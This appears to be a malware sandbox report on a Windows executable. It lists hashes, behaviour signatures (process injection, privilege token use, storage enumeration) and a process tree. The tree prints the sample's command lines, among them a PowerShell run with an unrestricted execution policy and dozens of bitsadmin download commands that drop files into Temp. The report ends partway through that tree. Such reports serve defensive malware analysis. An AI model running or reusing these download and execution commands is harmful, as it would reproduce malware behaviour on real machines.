358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca

Analysis

max time kernel
152s
max time network
152s
platform
windows7_x64
resource
win7-en-20211208
submitted
27-01-2022 12:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe
Size

394KB
MD5

7fcbff331b40e7edcd4985a65a9ab621
SHA1

9f420992112f832fbada4b258aa9132f2f4e798d
SHA256

358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca
SHA512

1fd41c11bd30962be2421a08175797d9da83c98dc7f0424fdfea92bb3fd8ddd316e40a57944d56e72aeeb19809720fadd1c89c2affb3c87ba89ef754b24a2576

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://chocolatey.org/7za.exe

Signatures

Blocklisted process makes network request 64 IoCs

Processes:

powershell.exe

flow	pid	Process
5	1648	powershell.exe
6	1648	powershell.exe
10	1648	powershell.exe
11	1648	powershell.exe
14	1648	powershell.exe
15	1648	powershell.exe
18	1648	powershell.exe
19	1648	powershell.exe
22	1648	powershell.exe
23	1648	powershell.exe
26	1648	powershell.exe
27	1648	powershell.exe
30	1648	powershell.exe
31	1648	powershell.exe
34	1648	powershell.exe
35	1648	powershell.exe
38	1648	powershell.exe
39	1648	powershell.exe
42	1648	powershell.exe
43	1648	powershell.exe
46	1648	powershell.exe
47	1648	powershell.exe
50	1648	powershell.exe
51	1648	powershell.exe
54	1648	powershell.exe
55	1648	powershell.exe
58	1648	powershell.exe
59	1648	powershell.exe
62	1648	powershell.exe
63	1648	powershell.exe
66	1648	powershell.exe
67	1648	powershell.exe
70	1648	powershell.exe
71	1648	powershell.exe
74	1648	powershell.exe
75	1648	powershell.exe
78	1648	powershell.exe
79	1648	powershell.exe
82	1648	powershell.exe
83	1648	powershell.exe
86	1648	powershell.exe
87	1648	powershell.exe
90	1648	powershell.exe
91	1648	powershell.exe
94	1648	powershell.exe
95	1648	powershell.exe
98	1648	powershell.exe
99	1648	powershell.exe
102	1648	powershell.exe
103	1648	powershell.exe
106	1648	powershell.exe
107	1648	powershell.exe
110	1648	powershell.exe
111	1648	powershell.exe
114	1648	powershell.exe
115	1648	powershell.exe
118	1648	powershell.exe
119	1648	powershell.exe
122	1648	powershell.exe
123	1648	powershell.exe
126	1648	powershell.exe
127	1648	powershell.exe
130	1648	powershell.exe
131	1648	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe

description	pid	Process	procid_target
PID 1092 set thread context of 1872	1092	358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe	27

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 64 IoCs

dropper

BITS Jobs

T1197

Processes:

bitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exebitsadmin.exe

pid	Process
768	bitsadmin.exe
1960	bitsadmin.exe
1720	bitsadmin.exe
1600	bitsadmin.exe
1448	bitsadmin.exe
1756	bitsadmin.exe
748	bitsadmin.exe
2024	bitsadmin.exe
1688	bitsadmin.exe
1424	bitsadmin.exe
2032	bitsadmin.exe
656	bitsadmin.exe
1400	bitsadmin.exe
1148	bitsadmin.exe
896	bitsadmin.exe
1252	bitsadmin.exe
856	bitsadmin.exe
588	bitsadmin.exe
1952	bitsadmin.exe
1876	bitsadmin.exe
1048	bitsadmin.exe
1684	bitsadmin.exe
744	bitsadmin.exe
1156	bitsadmin.exe
1372	bitsadmin.exe
1688	bitsadmin.exe
1372	bitsadmin.exe
1936	bitsadmin.exe
1252	bitsadmin.exe
1112	bitsadmin.exe
1544	bitsadmin.exe
1252	bitsadmin.exe
556	bitsadmin.exe
896	bitsadmin.exe
1732	bitsadmin.exe
788	bitsadmin.exe
1064	bitsadmin.exe
1680	bitsadmin.exe
968	bitsadmin.exe
572	bitsadmin.exe
744	bitsadmin.exe
1568	bitsadmin.exe
1156	bitsadmin.exe
1900	bitsadmin.exe
1688	bitsadmin.exe
1572	bitsadmin.exe
1168	bitsadmin.exe
1820	bitsadmin.exe
1072	bitsadmin.exe
1824	bitsadmin.exe
1952	bitsadmin.exe
960	bitsadmin.exe
540	bitsadmin.exe
2032	bitsadmin.exe
1104	bitsadmin.exe
1740	bitsadmin.exe
1080	bitsadmin.exe
1716	bitsadmin.exe
1076	bitsadmin.exe
1576	bitsadmin.exe
632	bitsadmin.exe
1012	bitsadmin.exe
1580	bitsadmin.exe
1736	bitsadmin.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exe

pid	Process
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exepowershell.exe

pid	Process
1092	358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe
1648	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	1648	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.execmd.exepowershell.execmd.execmd.execmd.execmd.execmd.exe

description	pid	Process	procid_target
PID 1092 wrote to memory of 1872	1092	358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe	27
PID 1092 wrote to memory of 1872	1092	358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe	27
PID 1092 wrote to memory of 1872	1092	358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe	27
PID 1092 wrote to memory of 1872	1092	358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe	27
PID 1092 wrote to memory of 1872	1092	358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe	27
PID 1092 wrote to memory of 1872	1092	358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe	27
PID 1092 wrote to memory of 1872	1092	358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe	27
PID 1092 wrote to memory of 1872	1092	358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe	27
PID 1092 wrote to memory of 1872	1092	358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe	27
PID 1092 wrote to memory of 1872	1092	358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe	27
PID 1092 wrote to memory of 1872	1092	358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe	27
PID 1092 wrote to memory of 1872	1092	358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe	27
PID 1092 wrote to memory of 1872	1092	358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe	27
PID 1872 wrote to memory of 2016	1872	358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe	30
PID 1872 wrote to memory of 2016	1872	358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe	30
PID 1872 wrote to memory of 2016	1872	358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe	30
PID 1872 wrote to memory of 2016	1872	358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe	30
PID 2016 wrote to memory of 1648	2016	cmd.exe	32
PID 2016 wrote to memory of 1648	2016	cmd.exe	32
PID 2016 wrote to memory of 1648	2016	cmd.exe	32
PID 2016 wrote to memory of 1648	2016	cmd.exe	32
PID 2016 wrote to memory of 1604	2016	cmd.exe	33
PID 2016 wrote to memory of 1604	2016	cmd.exe	33
PID 2016 wrote to memory of 1604	2016	cmd.exe	33
PID 2016 wrote to memory of 1604	2016	cmd.exe	33
PID 1648 wrote to memory of 1304	1648	powershell.exe	34
PID 1648 wrote to memory of 1304	1648	powershell.exe	34
PID 1648 wrote to memory of 1304	1648	powershell.exe	34
PID 1648 wrote to memory of 1304	1648	powershell.exe	34
PID 1304 wrote to memory of 1252	1304	cmd.exe	36
PID 1304 wrote to memory of 1252	1304	cmd.exe	36
PID 1304 wrote to memory of 1252	1304	cmd.exe	36
PID 1304 wrote to memory of 1252	1304	cmd.exe	36
PID 1648 wrote to memory of 1740	1648	powershell.exe	37
PID 1648 wrote to memory of 1740	1648	powershell.exe	37
PID 1648 wrote to memory of 1740	1648	powershell.exe	37
PID 1648 wrote to memory of 1740	1648	powershell.exe	37
PID 1740 wrote to memory of 572	1740	cmd.exe	39
PID 1740 wrote to memory of 572	1740	cmd.exe	39
PID 1740 wrote to memory of 572	1740	cmd.exe	39
PID 1740 wrote to memory of 572	1740	cmd.exe	39
PID 1648 wrote to memory of 1936	1648	powershell.exe	40
PID 1648 wrote to memory of 1936	1648	powershell.exe	40
PID 1648 wrote to memory of 1936	1648	powershell.exe	40
PID 1648 wrote to memory of 1936	1648	powershell.exe	40
PID 1936 wrote to memory of 1756	1936	cmd.exe	42
PID 1936 wrote to memory of 1756	1936	cmd.exe	42
PID 1936 wrote to memory of 1756	1936	cmd.exe	42
PID 1936 wrote to memory of 1756	1936	cmd.exe	42
PID 1648 wrote to memory of 1684	1648	powershell.exe	43
PID 1648 wrote to memory of 1684	1648	powershell.exe	43
PID 1648 wrote to memory of 1684	1648	powershell.exe	43
PID 1648 wrote to memory of 1684	1648	powershell.exe	43
PID 1684 wrote to memory of 1732	1684	cmd.exe	45
PID 1684 wrote to memory of 1732	1684	cmd.exe	45
PID 1684 wrote to memory of 1732	1684	cmd.exe	45
PID 1684 wrote to memory of 1732	1684	cmd.exe	45
PID 1648 wrote to memory of 1708	1648	powershell.exe	46
PID 1648 wrote to memory of 1708	1648	powershell.exe	46
PID 1648 wrote to memory of 1708	1648	powershell.exe	46
PID 1648 wrote to memory of 1708	1648	powershell.exe	46
PID 1708 wrote to memory of 652	1708	cmd.exe	48
PID 1708 wrote to memory of 652	1708	cmd.exe	48
PID 1708 wrote to memory of 652	1708	cmd.exe	48

C:\Users\Admin\AppData\Local\Temp\358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe
"C:\Users\Admin\AppData\Local\Temp\358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:1092
- C:\Users\Admin\AppData\Local\Temp\358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe
  "C:\Users\Admin\AppData\Local\Temp\358a5079b824548ef87fcf89d3e4b5284e780edc4de8a450f3e51878d1290eca.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1872
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powershell -ep Unrestricted -f "C:\ProgramData\CPZgH.ps1" | find /v "" >> "C:\Users\Admin\AppData\Local\Temp\VQVVOAJK.log"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2016
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep Unrestricted -f "C:\ProgramData\CPZgH.ps1"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1648
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1304
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1252
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1740
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:572
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1936
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1756
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1684
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1732
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1708
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:652
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:340
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1832
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1184
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1952
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1060
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1156
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1976
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:888
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1080
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:556
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:652
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:632
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:392
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:2032
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:856
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1736
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1592
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1572
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1560
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:788
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1620
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1668
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:2032
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1708
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1976
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1156
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:888
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:792
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1832
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1876
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1608
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1040
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1304
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1400
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1700
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:2024
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1480
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1960
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1092
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1372
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1912
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1736
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1728
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:2024
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1636
      - C:\Windows\SysWOW64\bitsadmin.exe
        
